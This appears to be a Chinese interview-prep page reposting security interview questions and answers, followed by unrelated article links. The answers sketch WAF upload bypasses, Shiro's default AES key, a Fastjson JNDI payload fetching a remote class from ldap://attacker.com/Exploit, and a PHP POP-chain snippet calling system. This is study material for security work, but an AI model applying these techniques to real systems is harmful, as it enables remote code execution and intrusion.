安恒春招一面

server/2025/3/25 20:41:02/

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

1. 文件上传绕过 WAF 的手段

答案:
常见绕过方法包括:

  1. Content-Type 修改:如将 application/php 改为 image/jpeg

  2. 文件头伪造:在文件开头添加图片标识(如 GIF89a)。

  3. 后缀名绕过
    • 大小写混淆(如 PhP)。

    • 双后缀(如 test.php.jpg)。

    • 空字节截断(如 test.php%00.jpg)。

  4. 特殊解析漏洞:利用服务器解析特性(如 Apache 的 .htaccess 控制文件类型)。

  5. 分块传输编码(Chunked):通过畸形的 HTTP 请求绕过 WAF 检测。

2. 越权漏洞你了解么?

答案:
越权分为两类:

  1. 水平越权:同一权限用户访问他人资源。
    • 例如:用户 A 通过修改 URL 中的 ID 访问用户 B 的数据(/userinfo?id=2)。

  2. 垂直越权:低权限用户执行高权限操作。
    • 例如:普通用户通过篡改接口调用管理员功能(如删除用户)。
      防御:对每次请求进行权限校验,避免依赖前端参数判断身份。

3. 聊一聊逻辑漏洞

答案:
逻辑漏洞是业务逻辑设计缺陷导致的漏洞,常见类型:

  1. 验证码绕过:验证码可重复使用或未绑定会话。

  2. 密码重置漏洞:通过修改参数(如 user_id)重置他人密码。

  3. 条件竞争:并发请求绕过限制(如余额不足时多次提现)。

  4. 业务顺序绕过:未完成支付却生成订单。
    案例:某平台优惠券领取未限制次数,导致可无限领取。

4. Shiro 反序列化漏洞原理

答案:
Shiro 的 rememberMe 功能将用户信息序列化后加密存储在 Cookie 中。漏洞成因:

  1. 硬编码密钥:Shiro 默认使用固定 AES 密钥(如 kPH+bIxk5D2deZiIxcaaaA==)。

  2. 反序列化触发:攻击者构造恶意序列化数据,用泄露的密钥加密后发送,Shiro 解密后触发反序列化执行任意代码。
    利用工具:Shiro-550(密钥泄露)、Shiro-721(Padding Oracle 攻击)。

5. Fastjson 反序列化漏洞原理

答案:
Fastjson 在解析 JSON 时通过 @type 指定类名,自动调用 setter/getter 方法。漏洞利用:

  1. 攻击者构造恶意 JSON,指定 @typecom.sun.rowset.JdbcRowSetImpl

  2. 设置 dataSourceName 为恶意 JNDI 地址(如 ldap://attacker.com/Exploit)。

  3. 触发 JNDI 查询,加载远程恶意类,实现 RCE。
    关键点:Fastjson 的 autoType 特性未严格限制类名。

6 JdbcRowSetImpl 类的具体作用

答案:
JdbcRowSetImpl 是 JDBC 中用于封装数据库查询结果集的类。其 setDataSourceName()setAutoCommit() 方法可触发 JNDI 查询。当 autoCommit 被设置为 true 时,会自动连接 dataSourceName 指定的地址,导致 JNDI 注入。

7. PHP 的 POP 链

答案:
POP(Property-Oriented Programming)链通过串联魔术方法构造利用链。
示例(Monolog 库漏洞):

  1. 入口点__destruct() 方法触发文件删除操作。

  2. 串联调用:通过 __toString() 方法调用其他对象的 write() 方法。

  3. 最终执行:调用 file_put_contents() 写入 Webshell。
    利用代码片段

// 构造恶意对象链  
$obj = new ExampleClass();  
$obj->data = new AnotherClass();  
$obj->data->callback = "system";  
$obj->data->args = "id";  

http://www.ppmy.cn/server/179050.html

相关文章

C# BULK INSERT导入大数据文件数据到SqlServer

BULK INSERT 的核心原理 BULK INSERT 是一种通过数据库原生接口高效批量导入数据的技术,其核心原理是绕过逐条插入的 SQL 解析和执行开销,直接将数据以二进制流或批量记录的形式传输到数据库。 在.NET中,主要通过 ​SqlBulkCopy 类​&#x…

【QA】Qt中直接渲染和离屏渲染效率哪个高?

直接渲染和离屏渲染的效率取决于具体场景和实现方式,以下是详细对比分析: 一、直接渲染(On-screen Rendering) 原理 直接将图形数据绘制到屏幕缓冲区(Back Buffer),完成后通过交换缓冲区显示…

嵌入式驱动开发方向的基础强化学习计划

基础强化阶段 以下是针对嵌入式驱动开发方向的基础强化阶段详细计划,结合大厂技术需求与您的学习目标,提供量化成果、行动指南及学习路线: --- 一、基础强化阶段核心目标 1. 技术能力 - 掌握C语言核心语法与系统编程(指针、内…

19.哈希表的实现

1.哈希的概念 哈希(hash)⼜称散列,是⼀种组织数据的⽅式。从译名来看,有散乱排列的意思。本质就是通过哈希函数把关键字Key跟存储位置建⽴⼀个映射关系,查找时通过这个哈希函数计算出Key存储的位置,进⾏快速查找。 1.2.直接定址法…

人工智能之数学基础:特征值和特征向量

本文重点 在线性代数中,我们经常使用到的一个概念就是特征值和特征向量,在机器学习中,尤其是图像领域,这个概念尤为的重要,一个矩阵可以对向量进行加工,从而将一个向量变成新的向量。有的时候,一个向量经过矩阵加工之后,新生成的向量与原来的向量共线(方向可能相反)…

【2025】基于python+flask的篮球交流社区平台设计与实现(源码、万字文档、图文修改、调试答疑)

基于 PythonFlask 的篮球交流社区平台设计与实现 系统功能结构图如下: 一、课题背景 篮球作为一项广受欢迎的运动,拥有庞大的爱好者群体。随着互联网的发展,越来越多的篮球爱好者希望有一个在线平台,能够方便地获取篮球赛事信息、…

GitHub 上的 Khoj 项目:打造你的专属 AI 第二大脑

在信息爆炸的时代,高效管理和利用个人知识变得愈发重要。GitHub 上的 Khoj 项目为我们提供了一个强大的解决方案,它能成为你的 “AI 第二大脑”,帮你轻松整合、搜索和运用知识。今天,就来详细了解下 Khoj。​ Khoj 是什么&#x…

《BUG生存指南》(有芝士的小说)

《BUG生存指南》 “叮咚!” 小张的手机响了,他抬头看了一眼,是一条来自“程序员自救互助群”的消息: 【紧急通知:今晚午夜12点,所有未解决的BUG将实体化,威胁程序员安全。请及时修复代码&#…